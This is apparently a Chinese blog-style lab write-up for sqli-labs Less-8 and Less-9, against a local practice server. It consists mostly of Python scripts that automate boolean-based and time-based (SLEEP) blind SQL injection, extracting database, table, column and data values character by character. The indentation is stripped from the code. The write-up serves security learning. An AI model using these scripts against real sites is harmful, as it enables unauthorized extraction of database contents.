实验环境：
sqli-labs，小皮面板搭建，edge浏览器
apache：2.4.39，MySQL：5.7 PHP：5.39
Python（pycharm2023）:3
less-8
布尔盲注：
1.我这里是采用最简单的直接采用一串字符串来查询的
import requests
url = "http://localhost:8080/Less-8/"
param = "id"
def getdatabase(url, param):
database = ""
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
for i in range(1, 20):
for char in chars:
payload = f"{param}=1' AND SUBSTRING((SELECT database()), {i}, 1) = '{char}' -- "
response = requests.get(url + "?" + payload)
if "You are in..........." in response.text:
database += char
break
else:
break
return database
# 获取表名
def gettable(url, param, database):
tables = ""
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
for i in range(1, 20):
for char in chars:
payload = (f"{param}=1' AND SUBSTRING((SELECT GROUP_CONCAT(table_name) "
f"FROM information_schema.tables "
f"WHERE table_schema = '{database}'), {i}, 1) = '{char}' -- ")
response = requests.get(url + "?" + payload)
if "You are in..........." in response.text:
tables += char
break
else:
break
return tables.split(',')
# 获取列名
def getcolumn(url, param, database, table):
columns = ""
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
for i in range(1, 20):
for char in chars:
payload = (f"{param}=1' AND SUBSTRING((SELECT GROUP_CONCAT(column_name) "
f"FROM information_schema.columns WHERE table_schema = '{database}' "
f"AND table_name = '{table}'), {i}, 1) = '{char}' -- ")
response = requests.get(url + "?" + payload)
if "You are in..........." in response.text:
columns += char
break
else:
break
return columns.split(',')
# 获取结果
def getresult(url, param, database, table, column):
result = ""
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
for i in range(1, 20):
for char in chars:
payload = (f"{param}=1' AND SUBSTRING((SELECT {column} "
f"FROM {database}.{table} LIMIT 1), {i}, 1) = '{char}' -- ")
response = requests.get(url + "?" + payload)
if "You are in..........." in response.text:
result += char
break
else:
break
return result
if __name__ == "__main__":
database = getdatabase(url, param)
print(f"Database: {database}")
tables = gettable(url, param, database)
print(f"Tables: {tables}")
table = tables[0]
columns = getcolumn(url, param, database, table)
print(f"Columns: {columns}")
column = columns[0]
result = getresult(url, param, database, table, column)
print(f"Result: {result}")
tips：我这里没有考虑有多个表和字段的情况，只是简单的把布尔盲注的原理展示了出来、
时间盲注
less-9
时间盲注:
采用时间函数，判断每个字段是否有时间差值（sleep函数）
import requests
import time
def time_based_blind_injection(url, param, payload):
start_time = time.time()
full_url = f"{url}?{param}={payload}"
response = requests.get(full_url)
end_time = time.time()
if end_time - start_time > 5:
return True
return False
def get_database(url, param):
database = ""
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
for i in range(1, 20):
for char in chars:
payload = f"1' AND IF(SUBSTRING((SELECT database()), {i}, 1) = '{char}', SLEEP(7), 0) -- "
if time_based_blind_injection(url, param, payload):
database += char
print(char)
break
else:
break
print(f"[+] Database name: {database}")
return database
# 获取表名
def get_table(url, param, database):
table = ""
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
for i in range(1, 20):
for char in chars:
payload = (f"1' AND IF(SUBSTRING((SELECT table_name FROM information_schema.tables "
f"WHERE table_schema='{database}' LIMIT 0,1), {i}, 1) = '{char}', SLEEP(5), 0) -- ")
if time_based_blind_injection(url, param, payload):
table += char
print(f"[+] Found character: {char}")
break
else:
break
print(f"[+] Table name: {table}")
return table
# def get_tables(url, param, database):当表不止一个
# tables = []
# chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
# table_count = 1 # 从第一个表开始
# while True:
# table_name = ""
# for i in range(1, 20):
# for char in chars:
# payload = (f"1' AND IF(SUBSTRING((SELECT table_name FROM information_schema.tables "
# f"WHERE table_schema='{database}' LIMIT {table_count - 1},1), {i}, 1) = '{char}', SLEEP(5), 0) -- ")
# if time_based_blind_injection(url, param, payload):
# table_name += char
# print(f"[+] table: {char}")
# break
# else:
# break
# if table_name:
# print(f"[+] Found table: {table_name}")
# tables.append(table_name)
# table_count += 1
# else:
# break
#
# return tables
# 获取字段名
def get_column(url, param, table):
column = ""
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
for i in range(1, 20):
for char in chars:
payload = f"1' AND IF(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='{table}' LIMIT 0,1), {i}, 1) = '{char}', SLEEP(5), 0) -- "
if time_based_blind_injection(url, param, payload):
column += char
print(f"[+] column: {char}")
break
else:
break
print(f"[+] Column name: {column}")
return column
def get_data(url, param, table, column):
data = ""
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
for i in range(1, 20):
for char in chars:
payload = f"1' AND IF(SUBSTRING((SELECT {column} FROM {table} LIMIT 0,1), {i}, 1) = '{char}', SLEEP(5), 0) -- "
if time_based_blind_injection(url, param, payload):
data += char
print(f"[+] Found character: {char}")
break
else:
break
print(f"[+] Data: {data}")
return data
# 主函数
if __name__ == "__main__":
target_url = "http://localhost:8080/Less-9/"
param = "id"
database = get_database(target_url, param)
if database:
table = get_table(target_url, param, database)
if table:
column = get_column(target_url, param, table)
if column:
get_data(target_url, param, table, column)
同样没有考虑不止一个表或者列的情况